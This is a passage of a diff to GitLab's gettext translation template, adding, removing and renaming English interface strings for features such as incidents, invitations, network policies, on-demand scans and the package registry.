+msgid "Improve search with Advanced Search and GitLab Enterprise Edition."
msgstr ""
msgid "In %{time_to_now}"
msgstr ""
-msgid "In order to enable instance-level analytics, please ask an admin to enable %{usage_ping_link_start}usage ping%{usage_ping_link_end}."
+msgid "In order to enable Service Desk for your instance, you must first set up incoming email."
msgstr ""
msgid "In order to gather accurate feature usage data, it can take 1 to 2 weeks to see your index."
@@ -12822,21 +13138,24 @@ msgstr ""
msgid "In order to personalize your experience with GitLab%{br_tag}we would like to know a bit more about you."
msgstr ""
-msgid "In order to tailor your experience with GitLab we%{br_tag}would like to know a bit more about you."
-msgstr ""
-
msgid "In progress"
msgstr ""
msgid "In the next step, you'll be able to select the projects you want to import."
msgstr ""
+msgid "Incident"
+msgstr ""
+
msgid "Incident Management Limits"
msgstr ""
msgid "IncidentManagement|All"
msgstr ""
+msgid "IncidentManagement|All alerts promoted to incidents will automatically be displayed within the list. You can also create a new incident using the button below."
+msgstr ""
+
msgid "IncidentManagement|Assignees"
msgstr ""
@@ -12849,6 +13168,9 @@ msgstr ""
msgid "IncidentManagement|Date created"
msgstr ""
+msgid "IncidentManagement|Display your incidents in a dedicated view"
+msgstr ""
+
msgid "IncidentManagement|Incident"
msgstr ""
@@ -12867,6 +13189,9 @@ msgstr ""
msgid "IncidentManagement|Published to status page"
msgstr ""
+msgid "IncidentManagement|There are no closed incidents"
+msgstr ""
+
msgid "IncidentManagement|There was an error displaying the incidents."
msgstr ""
@@ -12942,6 +13267,9 @@ msgstr ""
msgid "Index all projects"
msgstr ""
+msgid "Index deletion is canceled"
+msgstr ""
+
msgid "Indicates whether this runner can pick jobs without tags"
msgstr ""
@@ -13008,6 +13336,9 @@ msgstr ""
msgid "Install on clusters"
msgstr ""
+msgid "Installation"
+msgstr ""
+
msgid "Installed"
msgstr ""
@@ -13022,7 +13353,7 @@ msgstr[1] ""
msgid "Instance Configuration"
msgstr ""
-msgid "Instance Statistics visibility"
+msgid "Instance Statistics"
msgstr ""
msgid "Instance administrators group already exists"
@@ -13049,6 +13380,12 @@ msgstr ""
msgid "Integrations|Comment settings:"
msgstr ""
+msgid "Integrations|Default settings are inherited from the group level."
+msgstr ""
+
+msgid "Integrations|Default settings are inherited from the instance level."
+msgstr ""
+
msgid "Integrations|Enable comments"
msgstr ""
@@ -13061,13 +13398,10 @@ msgstr ""
msgid "Integrations|Standard"
msgstr ""
-msgid "Integrations|This integration has multiple settings available."
-msgstr ""
-
msgid "Integrations|Use custom settings"
msgstr ""
-msgid "Integrations|Use instance level settings"
+msgid "Integrations|Use default settings"
msgstr ""
msgid "Integrations|When a Jira issue is mentioned in a commit or merge request a remote link and comment (if enabled) will be created."
@@ -13097,7 +13431,7 @@ msgstr ""
msgid "Introducing Value Stream Analytics"
msgstr ""
-msgid "Introducing Your DevOps Score"
+msgid "Introducing Your DevOps Report"
msgstr ""
msgid "Invalid Git ref"
@@ -13109,9 +13443,15 @@ msgstr ""
msgid "Invalid Login or password"
msgstr ""
+msgid "Invalid OS"
+msgstr ""
+
msgid "Invalid URL"
msgstr ""
+msgid "Invalid board"
+msgstr ""
+
msgid "Invalid container_name"
msgstr ""
@@ -13208,6 +13548,39 @@ msgstr ""
msgid "Invite teammates (optional)"
msgstr ""
+msgid "InviteEmail|%{inviter} invited you"
+msgstr ""
+
+msgid "InviteEmail|%{project_or_group} as a %{role}"
+msgstr ""
+
+msgid "InviteEmail|Join now"
+msgstr ""
+
+msgid "InviteEmail|You are invited!"
+msgstr ""
+
+msgid "InviteEmail|You have been invited"
+msgstr ""
+
+msgid "InviteEmail|to join the %{project_or_group_name} %{project_or_group} as a %{role}"
+msgstr ""
+
+msgid "InviteEmail|to join the %{strong_start}%{project_or_group_name}%{strong_end}"
+msgstr ""
+
+msgid "InviteMembersBanner|Collaborate with your team"
+msgstr ""
+
+msgid "InviteMembersBanner|Invite your colleagues"
+msgstr ""
+
+msgid "InviteMembersBanner|We noticed that you haven't invited anyone to this group. Invite your colleagues so you can discuss issues, collaborate on merge requests, and share your knowledge."
+msgstr ""
+
+msgid "Invited"
+msgstr ""
+
msgid "Invited users will be added with developer level permissions. You can always change this later."
msgstr ""
@@ -13247,6 +13620,9 @@ msgstr ""
msgid "Issue %{issue_reference} has already been added to epic %{epic_reference}."
msgstr ""
+msgid "Issue Analytics"
+msgstr ""
+
msgid "Issue Boards"
msgstr ""
@@ -13346,9 +13722,6 @@ msgstr ""
msgid "Issues"
msgstr ""
-msgid "Issues Analytics"
-msgstr ""
-
msgid "Issues Rate Limits"
msgstr ""
@@ -13490,6 +13863,9 @@ msgstr ""
msgid "JiraService| on branch %{branch_link}"
msgstr ""
+msgid "JiraService|%{jira_docs_link_start}Enable the Jira integration%{jira_docs_link_end} to view your Jira issues in GitLab."
+msgstr ""
+
msgid "JiraService|%{user_link} mentioned this issue in %{entity_link} of %{project_link}%{branch}:{quote}%{entity_message}{quote}"
msgstr ""
@@ -13532,6 +13908,9 @@ msgstr ""
msgid "JiraService|Password or API token"
msgstr ""
+msgid "JiraService|This feature requires a Premium plan."
+msgstr ""
+
msgid "JiraService|Transition ID(s)"
msgstr ""
@@ -13547,6 +13926,9 @@ msgstr ""
msgid "JiraService|Username or Email"
msgstr ""
+msgid "JiraService|Using Jira for issue tracking?"
+msgstr ""
+
msgid "JiraService|View Jira issues in GitLab"
msgstr ""
@@ -13835,7 +14217,7 @@ msgstr ""
msgid "Labels can be applied to issues and merge requests."
msgstr ""
-msgid "Labels|<span>Promote label</span> %{labelTitle} <span>to Group Label?</span>"
+msgid "Labels|%{spanStart}Promote label%{spanEnd} %{labelTitle} %{spanStart}to Group Label?%{spanEnd}"
msgstr ""
msgid "Labels|Promote Label"
@@ -14065,7 +14447,7 @@ msgstr ""
msgid "License ID:"
msgstr ""
-msgid "License URL"
+msgid "License overview"
msgstr ""
msgid "License-Check"
@@ -14164,10 +14546,10 @@ msgstr ""
msgid "LicenseCompliance|Remove license?"
msgstr ""
-msgid "LicenseCompliance|There are currently no approved or blacklisted licenses in this project."
+msgid "LicenseCompliance|There are currently no policies in this project."
msgstr ""
-msgid "LicenseCompliance|There are currently no approved or blacklisted licenses that match in this project."
+msgid "LicenseCompliance|There are currently no policies that match in this project."
msgstr ""
msgid "LicenseCompliance|This license already exists in this project."
@@ -14194,6 +14576,9 @@ msgstr ""
msgid "Licensed to"
msgstr ""
+msgid "Licensed to:"
+msgstr ""
+
msgid "Licenses"
msgstr ""
@@ -14257,9 +14642,6 @@ msgstr ""
msgid "License|License"
msgstr ""
-msgid "License|Licensed user count exceeded"
-msgstr ""
-
msgid "License|You can restore access to the Gold features at any time by upgrading."
msgstr ""
@@ -14275,9 +14657,6 @@ msgstr ""
msgid "License|Your free trial of GitLab Ultimate expired on %{trial_ends_on}."
msgstr ""
-msgid "License|Your instance has exceeded your subscription's number of licensed users by %{extra_users_count}. You can continue to add more users and we'll include the overage in your next bill."
-msgstr ""
-
msgid "Limit display of time tracking units to hours."
msgstr ""
@@ -14331,6 +14710,9 @@ msgstr ""
msgid "List available repositories"
msgstr ""
+msgid "List of all merge commits"
+msgstr ""
+
msgid "List settings"
msgstr ""
@@ -14352,6 +14734,9 @@ msgstr ""
msgid "Load more"
msgstr ""
+msgid "Load more users"
+msgstr ""
+
msgid "Loading"
msgstr ""
@@ -14403,7 +14788,7 @@ msgstr ""
msgid "Lock the discussion"
msgstr ""
-msgid "Lock this %{issuableDisplayName}? Only <strong>project members</strong> will be able to comment."
+msgid "Lock this %{issuableDisplayName}? Only %{strongStart}project members%{strongEnd} will be able to comment."
msgstr ""
msgid "Lock to current projects"
@@ -14454,6 +14839,12 @@ msgstr ""
msgid "MERGED"
msgstr ""
+msgid "MR widget|Back to the Merge request"
+msgstr ""
+
+msgid "MR widget|See your pipeline in action"
+msgstr ""
+
msgid "MR widget|Take a look at our %{beginnerLinkStart}Beginner's Guide to Continuous Integration%{beginnerLinkEnd} and our %{exampleLinkStart}examples of GitLab CI/CD%{exampleLinkEnd} to learn more."
msgstr ""
@@ -14469,6 +14860,9 @@ msgstr ""
msgid "MRApprovals|Approvers"
msgstr ""
+msgid "MRApprovals|Commented by"
+msgstr ""
+
msgid "MRDiff|Show changes only"
msgstr ""
@@ -14553,9 +14947,6 @@ msgstr ""
msgid "Manifest import"
msgstr ""
-msgid "Manual job"
-msgstr ""
-
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr ""
@@ -14667,9 +15058,6 @@ msgstr ""
msgid "MattermostService|This service allows users to perform common operations on this project by entering slash commands in Mattermost."
msgstr ""
-msgid "Maven Metadata"
-msgstr ""
-
msgid "Max Group Export Download requests per minute per user"
msgstr ""
@@ -14805,6 +15193,15 @@ msgstr ""
msgid "Members can be added by project %{i_open}Maintainers%{i_close} or %{i_open}Owners%{i_close}"
msgstr ""
+msgid "Members invited to %{strong_start}%{group_name}%{strong_end}"
+msgstr ""
+
+msgid "Members of %{group} can also merge into this branch: %{branch}"
+msgstr ""
+
+msgid "Members of %{group} can also push to this branch: %{branch}"
+msgstr ""
+
msgid "Members of %{strong_open}%{project_name}%{strong_close}"
msgstr ""
@@ -14814,9 +15211,6 @@ msgstr ""
msgid "Members with access to %{strong_start}%{group_name}%{strong_end}"
msgstr ""
-msgid "Members with pending access to %{strong_start}%{group_name}%{strong_end}"
-msgstr ""
-
msgid "Memory Usage"
msgstr ""
@@ -14844,15 +15238,15 @@ msgstr ""
msgid "Merge Requests"
msgstr ""
-msgid "Merge Requests closed"
-msgstr ""
-
msgid "Merge Requests created"
msgstr ""
msgid "Merge Requests in Review"
msgstr ""
+msgid "Merge Requests merged"
+msgstr ""
+
msgid "Merge automatically (%{strategy})"
msgstr ""
@@ -14868,6 +15262,9 @@ msgstr ""
msgid "Merge in progress"
msgstr ""
+msgid "Merge locally"
+msgstr ""
+
msgid "Merge options"
msgstr ""
@@ -14931,6 +15328,27 @@ msgstr ""
msgid "MergeConflict|origin//their changes"
msgstr ""
+msgid "MergeRequestAnalytics|Assignees"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Date Merged"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Line changes"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Merge Request"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Milestone"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Pipelines"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Time to merge"
+msgstr ""
+
msgid "MergeRequestDiffs|Commenting on lines %{selectStart}start%{selectEnd} to %{end}"
msgstr ""
@@ -15063,6 +15481,12 @@ msgstr ""
msgid "MetricChart|Selected"
msgstr ""
+msgid "MetricChart|There is no data available. Please change your selection."
+msgstr ""
+
+msgid "MetricChart|There is too much data to calculate. Please change your selection."
+msgstr ""
+
msgid "Metrics"
msgstr ""
@@ -15165,6 +15589,12 @@ msgstr ""
msgid "Metrics|Check out the CI/CD documentation on deploying to an environment"
msgstr ""
+msgid "Metrics|Collapse panel"
+msgstr ""
+
+msgid "Metrics|Collapse panel (Esc)"
+msgstr ""
+
msgid "Metrics|Copy YAML"
msgstr ""
@@ -15174,9 +15604,6 @@ msgstr ""
msgid "Metrics|Create custom dashboard %{fileName}"
msgstr ""
-msgid "Metrics|Create dashboard"
-msgstr ""
-
msgid "Metrics|Create metric"
msgstr ""
@@ -15210,9 +15637,15 @@ msgstr ""
msgid "Metrics|Duplicate dashboard"
msgstr ""
+msgid "Metrics|Duplicate this dashboard to add panel or edit dashboard YAML."
+msgstr ""
+
msgid "Metrics|Duplicating..."
msgstr ""
+msgid "Metrics|Edit dashboard YAML"
+msgstr ""
+
msgid "Metrics|Edit metric"
msgid_plural "Metrics|Edit metrics"
msgstr[0] ""
@@ -15224,9 +15657,6 @@ msgstr ""
msgid "Metrics|For grouping similar metrics"
msgstr ""
-msgid "Metrics|Go back (Esc)"
-msgstr ""
-
msgid "Metrics|Invalid time range, please verify."
msgstr ""
@@ -15254,6 +15684,9 @@ msgstr ""
msgid "Metrics|Min"
msgstr ""
+msgid "Metrics|More actions"
+msgstr ""
+
msgid "Metrics|Must be a valid PromQL query."
msgstr ""
@@ -15278,6 +15711,9 @@ msgstr ""
msgid "Metrics|Prometheus Query Documentation"
msgstr ""
+msgid "Metrics|Refresh Prometheus data"
+msgstr ""
+
msgid "Metrics|Refresh dashboard"
msgstr ""
@@ -15356,6 +15792,9 @@ msgstr ""
msgid "Metrics|View logs"
msgstr ""
+msgid "Metrics|View runbook - %{label}"
+msgstr ""
+
msgid "Metrics|Y-axis label"
msgstr ""
@@ -15406,12 +15845,18 @@ msgid_plural "Milestones"
msgstr[0] ""
msgstr[1] ""
+msgid "Milestone does not support burnup charts"
+msgstr ""
+
msgid "Milestone lists not available with your current license"
msgstr ""
msgid "Milestone lists show all issues from the selected milestone."
msgstr ""
+msgid "Milestone must have a start and due date"
+msgstr ""
+
msgid "MilestoneSidebar|Closed:"
msgstr ""
@@ -15577,6 +16022,15 @@ msgstr ""
msgid "Mirroring will only be available if the feature is included in the plan of the selected group or user."
msgstr ""
+msgid "Missing OAuth configuration for GitHub."
+msgstr ""
+
+msgid "Missing OS"
+msgstr ""
+
+msgid "Missing arch"
+msgstr ""
+
msgid "Missing commit signatures endpoint!"
msgstr ""
@@ -15622,6 +16076,9 @@ msgstr ""
msgid "Monitoring"
msgstr ""
+msgid "Month"
+msgstr ""
+
msgid "Months"
msgstr ""
@@ -15811,12 +16268,45 @@ msgstr ""
msgid "Network Policy|New rule"
msgstr ""
+msgid "NetworkPolicies|%{ifLabelStart}if%{ifLabelEnd} %{ruleType} %{isLabelStart}is%{isLabelEnd} %{ruleDirection} %{ruleSelector} %{directionLabelStart}and is inbound from a%{directionLabelEnd} %{rule} %{portsLabelStart}on%{portsLabelEnd} %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|%{ifLabelStart}if%{ifLabelEnd} %{ruleType} %{isLabelStart}is%{isLabelEnd} %{ruleDirection} %{ruleSelector} %{directionLabelStart}and is outbound to a%{directionLabelEnd} %{rule} %{portsLabelStart}on%{portsLabelEnd} %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|%{labelStart}Then%{labelEnd} %{action} %{spanStart}the network traffic.%{spanEnd}"
+msgstr ""
+
+msgid "NetworkPolicies|%{number} selected"
+msgstr ""
+
+msgid "NetworkPolicies|%{strongOpen}all%{strongClose} pods"
+msgstr ""
+
+msgid "NetworkPolicies|%{strongOpen}any%{strongClose} port"
+msgstr ""
+
+msgid "NetworkPolicies|.yaml"
+msgstr ""
+
msgid "NetworkPolicies|.yaml mode"
msgstr ""
msgid "NetworkPolicies|Actions"
msgstr ""
+msgid "NetworkPolicies|All selected"
+msgstr ""
+
+msgid "NetworkPolicies|Allow"
+msgstr ""
+
+msgid "NetworkPolicies|Allow all inbound traffic to %{selector} from %{ruleSelector} on %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|Allow all outbound traffic from %{selector} to %{ruleSelector} on %{ports}"
+msgstr ""
+
msgid "NetworkPolicies|Choose whether to enforce this policy."
msgstr ""
@@ -15826,6 +16316,9 @@ msgstr ""
msgid "NetworkPolicies|Define this policy's location, conditions and actions."
msgstr ""
+msgid "NetworkPolicies|Deny all traffic"
+msgstr ""
+
msgid "NetworkPolicies|Description"
msgstr ""
@@ -15838,6 +16331,9 @@ msgstr ""
msgid "NetworkPolicies|Environment does not have deployment platform"
msgstr ""
+msgid "NetworkPolicies|IP/subnet"
+msgstr ""
+
msgid "NetworkPolicies|If you are using Auto DevOps, your %{monospacedStart}auto-deploy-values.yaml%{monospacedEnd} file will not be updated if you change a policy in this section. Auto DevOps users should make changes by following the %{linkStart}Container Network Policy documentation%{linkEnd}."
msgstr ""
@@ -15856,12 +16352,18 @@ msgstr ""
msgid "NetworkPolicies|Network Policy"
msgstr ""
+msgid "NetworkPolicies|Network traffic"
+msgstr ""
+
msgid "NetworkPolicies|New policy"
msgstr ""
msgid "NetworkPolicies|No policies detected"
msgstr ""
+msgid "NetworkPolicies|None selected"
+msgstr ""
+
msgid "NetworkPolicies|Policies are a specification of how groups of pods are allowed to communicate with each other's network endpoints."
msgstr ""
@@ -15886,9 +16388,15 @@ msgstr ""
msgid "NetworkPolicies|Policy type"
msgstr ""
+msgid "NetworkPolicies|Rule"
+msgstr ""
+
msgid "NetworkPolicies|Rule mode"
msgstr ""
+msgid "NetworkPolicies|Rule mode is unavailable for this policy. In some cases, we cannot parse the YAML file back into the rules editor."
+msgstr ""
+
msgid "NetworkPolicies|Rules"
msgstr ""
@@ -15901,9 +16409,54 @@ msgstr ""
msgid "NetworkPolicies|Status"
msgstr ""
+msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
+msgstr ""
+
msgid "NetworkPolicies|YAML editor"
msgstr ""
+msgid "NetworkPolicies|all DNS names"
+msgstr ""
+
+msgid "NetworkPolicies|all IP addresses"
+msgstr ""
+
+msgid "NetworkPolicies|any pod"
+msgstr ""
+
+msgid "NetworkPolicies|any port"
+msgstr ""
+
+msgid "NetworkPolicies|domain name"
+msgstr ""
+
+msgid "NetworkPolicies|entity"
+msgstr ""
+
+msgid "NetworkPolicies|inbound to"
+msgstr ""
+
+msgid "NetworkPolicies|nowhere"
+msgstr ""
+
+msgid "NetworkPolicies|outbound from"
+msgstr ""
+
+msgid "NetworkPolicies|pod with labels"
+msgstr ""
+
+msgid "NetworkPolicies|pods %{pods}"
+msgstr ""
+
+msgid "NetworkPolicies|pods with labels"
+msgstr ""
+
+msgid "NetworkPolicies|ports %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|ports/protocols"
+msgstr ""
+
msgid "Never"
msgstr ""
@@ -16296,12 +16849,18 @@ msgstr ""
msgid "No required pipeline"
msgstr ""
+msgid "No runner executable"
+msgstr ""
+
msgid "No runners found"
msgstr ""
msgid "No schedules"
msgstr ""
+msgid "No source selected"
+msgstr ""
+
msgid "No stack trace for this error"
msgstr ""
@@ -16389,18 +16948,12 @@ msgstr ""
msgid "Not started"
msgstr ""
-msgid "Not-confidential epic cannot be assigned to a confidential parent epic"
-msgstr ""
-
msgid "Note"
msgstr ""
msgid "Note parameters are invalid: %{errors}"
msgstr ""
-msgid "Note that PostgreSQL %{pg_version_upcoming} will become the minimum required version in GitLab %{gl_version_upcoming} (%{gl_version_upcoming_date}). Please consider upgrading your environment to a supported PostgreSQL version soon, see <a href=\"%{pg_version_upcoming_url}\">the related epic</a> for details."
-msgstr ""
-
msgid "Note that this invitation was sent to %{mail_to_invite_email}, but you are signed in as %{link_to_current_user} with email %{mail_to_current_user}."
msgstr ""
@@ -16548,9 +17101,6 @@ msgstr ""
msgid "Novice"
msgstr ""
-msgid "Now you can access the merge request navigation tabs at the top, where they’re easier to find."
-msgstr ""
-
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr ""
@@ -16590,9 +17140,6 @@ msgstr ""
msgid "Number of files touched"
msgstr ""
-msgid "OAuth configuration for GitHub missing."
-msgstr ""
-
msgid "OK"
msgstr ""
@@ -16635,21 +17182,27 @@ msgstr ""
msgid "OnDemandScans|Attached branch is where the scan job runs."
msgstr ""
+msgid "OnDemandScans|Could not fetch site profiles. Please refresh the page, or try again later."
+msgstr ""
+
msgid "OnDemandScans|Could not run the scan. Please try again."
msgstr ""
-msgid "OnDemandScans|Could not run the scan: %{backendErrorMessage}"
+msgid "OnDemandScans|Create a new site profile"
msgstr ""
msgid "OnDemandScans|Create new DAST scan"
msgstr ""
-msgid "OnDemandScans|DAST will scan the target URL and any discovered sub URLs."
+msgid "OnDemandScans|Manage profiles"
msgstr ""
msgid "OnDemandScans|New on-demand DAST scan"
msgstr ""
+msgid "OnDemandScans|No profile yet. In order to create a new scan, you need to have at least one completed site profile."
+msgstr ""
+
msgid "OnDemandScans|On-demand Scans"
msgstr ""
@@ -16659,25 +17212,31 @@ msgstr ""
msgid "OnDemandScans|Only a passive scan can be performed on demand."
msgstr ""
-msgid "OnDemandScans|Passive DAST Scan"
+msgid "OnDemandScans|Passive"
msgstr ""
-msgid "OnDemandScans|Please enter a valid URL format, ex: http://www.example.com/home"
+msgid "OnDemandScans|Run scan"
msgstr ""
-msgid "OnDemandScans|Run this scan"
+msgid "OnDemandScans|Scan mode"
msgstr ""
-msgid "OnDemandScans|Scan mode"
+msgid "OnDemandScans|Scanner settings"
msgstr ""
msgid "OnDemandScans|Schedule or run scans immediately against target sites. Currently available on-demand scan type: DAST. %{helpLinkStart}More information%{helpLinkEnd}"
msgstr ""
-msgid "OnDemandScans|Target URL"
+msgid "OnDemandScans|Select one of the existing profiles"
+msgstr ""
+
+msgid "OnDemandScans|Site profiles"
+msgstr ""
+
+msgid "OnDemandScans|Use existing site profile"
msgstr ""
-msgid "Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its respositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
+msgid "Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
msgstr ""
msgid "Once a project is permanently deleted it cannot be recovered. You will lose this project's repository and all content: issues, merge requests etc."
@@ -16736,9 +17295,6 @@ msgstr ""
msgid "Only active this projects shows up in the search and on the dashboard."
msgstr ""
-msgid "Only admins"
-msgstr ""
-
msgid "Only admins can delete project"
msgstr ""
@@ -16757,6 +17313,9 @@ msgstr ""
msgid "Only project members will be imported. Group members will be skipped."
msgstr ""
+msgid "Only projects created under a Gold license are available in Security Dashboards."
+msgstr ""
+
msgid "Only verified users with an email address in any of these domains can be added to the group."
msgstr ""
@@ -16772,9 +17331,15 @@ msgstr ""
msgid "Open Selection"
msgstr ""
+msgid "Open Web IDE"
+msgstr ""
+
msgid "Open comment type dropdown"
msgstr ""
+msgid "Open epics"
+msgstr ""
+
msgid "Open errors"
msgstr ""
@@ -16895,18 +17460,12 @@ msgstr ""
msgid "Outbound requests"
msgstr ""
-msgid "OutdatedBrowser|From May 2020 GitLab no longer supports Internet Explorer 11."
-msgstr ""
-
msgid "OutdatedBrowser|GitLab may not work properly, because you are using an outdated web browser."
msgstr ""
msgid "OutdatedBrowser|Please install a %{browser_link_start}supported web browser%{browser_link_end} for a better experience."
msgstr ""
-msgid "OutdatedBrowser|You can provide feedback %{feedback_link_start}on this issue%{feedback_link_end} or via your usual support channels."
-msgstr ""
-
msgid "Outdent"
msgstr ""
@@ -16940,9 +17499,6 @@ msgstr ""
msgid "Package deleted successfully"
msgstr ""
-msgid "Package information"
-msgstr ""
-
msgid "Package recipe already exists"
msgstr ""
@@ -17027,6 +17583,12 @@ msgstr ""
msgid "PackageRegistry|Copy npm setup command"
msgstr ""
+msgid "PackageRegistry|Copy registry include"
+msgstr ""
+
+msgid "PackageRegistry|Copy require package include"
+msgstr ""
+
msgid "PackageRegistry|Copy yarn command"
msgstr ""
@@ -17042,6 +17604,9 @@ msgstr ""
msgid "PackageRegistry|Filter by name"
msgstr ""
+msgid "PackageRegistry|For more information on Composer packages in GitLab, %{linkStart}see the documentation.%{linkEnd}"
+msgstr ""
+
msgid "PackageRegistry|For more information on the Conan registry, %{linkStart}see the documentation%{linkEnd}."
msgstr ""
@@ -17060,9 +17625,6 @@ msgstr ""
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}pom.xml%{codeEnd} file."
msgstr ""
-msgid "PackageRegistry|Installation"
-msgstr ""
-
msgid "PackageRegistry|Is your favorite package manager missing? We'd love your help in building first-class support for it into GitLab! %{contributionLinkStart}Visit the contribution documentation%{contributionLinkEnd} to learn more about how to build support for new package managers into GitLab. Below is a list of package managers that are on our radar."
msgstr ""
@@ -17099,27 +17661,18 @@ msgstr ""
msgid "PackageRegistry|Pip Command"
msgstr ""
-msgid "PackageRegistry|Pipeline %{linkStart}%{linkEnd} triggered %{timestamp} by %{author}"
-msgstr ""
-
msgid "PackageRegistry|Pipeline %{link} triggered %{datetime} by %{author}"
msgstr ""
msgid "PackageRegistry|Published to the %{project} Package Registry %{datetime}"
msgstr ""
-msgid "PackageRegistry|Published to the repository at %{timestamp}"
-msgstr ""
-
msgid "PackageRegistry|PyPi"
msgstr ""
msgid "PackageRegistry|Recipe: %{recipe}"
msgstr ""
-msgid "PackageRegistry|Registry Setup"
-msgstr ""
-
msgid "PackageRegistry|Remove package"
msgstr ""
@@ -17168,13 +17721,19 @@ msgstr ""
msgid "PackageRegistry|You may also need to setup authentication using an auth token. %{linkStart}See the documentation%{linkEnd} to find out more."
msgstr ""
-msgid "PackageRegistry|npm"
+msgid "PackageRegistry|composer.json registry include"
+msgstr ""
+
+msgid "PackageRegistry|composer.json require package include"
+msgstr ""
+
+msgid "PackageRegistry|npm command"
msgstr ""
msgid "PackageRegistry|published by %{author}"
msgstr ""
-msgid "PackageRegistry|yarn"
+msgid "PackageRegistry|yarn command"
msgstr ""
msgid "PackageType|Composer"
@@ -17318,7 +17877,7 @@ msgstr ""
msgid "Password successfully changed"
msgstr ""
-msgid "Password was successfully updated. Please login with it"
+msgid "Password was successfully updated. Please sign in again."
msgstr ""
msgid "Passwords should be unique and not used for any other sites or services."
@@ -17822,6 +18381,9 @@ msgstr ""
msgid "Please complete your profile with email address"
msgstr ""
+msgid "Please contact your administrator with any questions."
+msgstr ""
+
msgid "Please contact your administrator."
msgstr ""
@@ -17975,13 +18537,13 @@ msgstr ""
msgid "Preferences|Choose what content you want to see on a project’s overview page."
msgstr ""
-msgid "Preferences|Customize integrations with third party services."
+msgid "Preferences|Choose what content you want to see on your homepage."
msgstr ""
-msgid "Preferences|Customize the appearance of the application header and navigation sidebar."
+msgid "Preferences|Customize integrations with third party services."
msgstr ""
-msgid "Preferences|Default dashboard"
+msgid "Preferences|Customize the appearance of the application header and navigation sidebar."
msgstr ""
msgid "Preferences|Display time in 24-hour format"
@@ -17993,6 +18555,9 @@ msgstr ""
msgid "Preferences|For example: 30 mins ago."
msgstr ""
+msgid "Preferences|Homepage content"
+msgstr ""
+
msgid "Preferences|Instead of all the files changed, show only one file at a time. To switch between files, use the file browser."
msgstr ""
@@ -18284,15 +18849,9 @@ msgstr ""
msgid "Profiles|Default notification email"
msgstr ""
-msgid "Profiles|Delete Account"
-msgstr ""
-
msgid "Profiles|Delete account"
msgstr ""
-msgid "Profiles|Delete your account?"
-msgstr ""
-
msgid "Profiles|Deleting an account has the following effects:"
msgstr ""
@@ -18683,6 +19242,9 @@ msgstr ""
msgid "Project visibility level will be changed to match namespace rules when transferring to a group."
msgstr ""
+msgid "Project was not found or you do not have permission to add this project to Security Dashboards."
+msgstr ""
+
msgid "Project: %{name}"
msgstr ""
@@ -18707,6 +19269,9 @@ msgstr ""
msgid "ProjectFileTree|Name"
msgstr ""
+msgid "ProjectFileTree|Show more"
+msgstr ""
+
msgid "ProjectLastActivity|Never"
msgstr ""
@@ -19298,7 +19863,7 @@ msgstr ""
msgid "PrometheusAlerts|Operator"
msgstr ""
-msgid "PrometheusAlerts|Runbook"
+msgid "PrometheusAlerts|Runbook URL (optional)"
msgstr ""
msgid "PrometheusAlerts|Select query"
@@ -19307,10 +19872,19 @@ msgstr ""
msgid "PrometheusAlerts|Threshold"
msgstr ""
-msgid "PrometheusService|%{exporters} with %{metrics} were found"
+msgid "PrometheusAlerts|exceeded"
+msgstr ""
+
+msgid "PrometheusAlerts|https://gitlab.com/gitlab-com/runbooks"
+msgstr ""
+
+msgid "PrometheusAlerts|is equal to"
msgstr ""
-msgid "PrometheusService|<p class=\"text-tertiary\">No <a href=\"%{docsUrl}\">common metrics</a> were found</p>"
+msgid "PrometheusAlerts|is less than"
+msgstr ""
+
+msgid "PrometheusService|%{exporters} with %{metrics} were found"
msgstr ""
msgid "PrometheusService|Active"
@@ -19370,6 +19944,9 @@ msgstr ""
msgid "PrometheusService|New metric"
msgstr ""
+msgid "PrometheusService|No %{docsUrlStart}common metrics%{docsUrlEnd} were found"
+msgstr ""
+
msgid "PrometheusService|No custom metrics have been created. Create one using the button above"
msgstr ""
@@ -19424,6 +20001,9 @@ msgstr ""
msgid "Promoted issue to an epic."
msgstr ""
+msgid "Promotion is not supported."
+msgstr ""
+
msgid "Promotions|Burndown Charts are visual representations of the progress of completing a milestone. At a glance, you see the current state for the completion a given milestone. Without them, you would have to organize the data from the milestone and plot it yourself to have the same sense of progress."
msgstr ""
@@ -19505,6 +20085,9 @@ msgstr ""
msgid "Prompt users to upload SSH keys"
msgstr ""
+msgid "Protect"
+msgstr ""
+
msgid "Protect variable"
msgstr ""
@@ -19835,9 +20418,6 @@ msgstr ""
msgid "Recent searches"
msgstr ""
-msgid "Recipe"
-msgstr ""
-
msgid "Reconfigure"
msgstr ""
@@ -19933,6 +20513,9 @@ msgstr ""
msgid "Registration|Your profile"
msgstr ""
+msgid "Registry setup"
+msgstr ""
+
msgid "Regulate approvals by authors/committers, based on compliance frameworks. Can be changed only at the instance level."
msgstr ""
@@ -20025,6 +20608,9 @@ msgstr ""
msgid "Releases|New Release"
msgstr ""
+msgid "Release|Something went wrong while creating a new release"
+msgstr ""
+
msgid "Release|Something went wrong while getting the release details"
msgstr ""
@@ -20067,6 +20653,9 @@ msgstr ""
msgid "Remove all or specific label(s)"
msgstr ""
+msgid "Remove approver"
+msgstr ""
+
msgid "Remove approvers"
msgstr ""
@@ -20136,9 +20725,6 @@ msgstr ""
msgid "Remove priority"
msgstr ""
-msgid "Remove project"
-msgstr ""
-
msgid "Remove secondary node"
msgstr ""
@@ -20172,9 +20758,6 @@ msgstr ""
msgid "Removed %{type} with id %{id}"
msgstr ""
-msgid "Removed Projects"
-msgstr ""
-
msgid "Removed all labels."
msgstr ""
@@ -20187,12 +20770,6 @@ msgstr ""
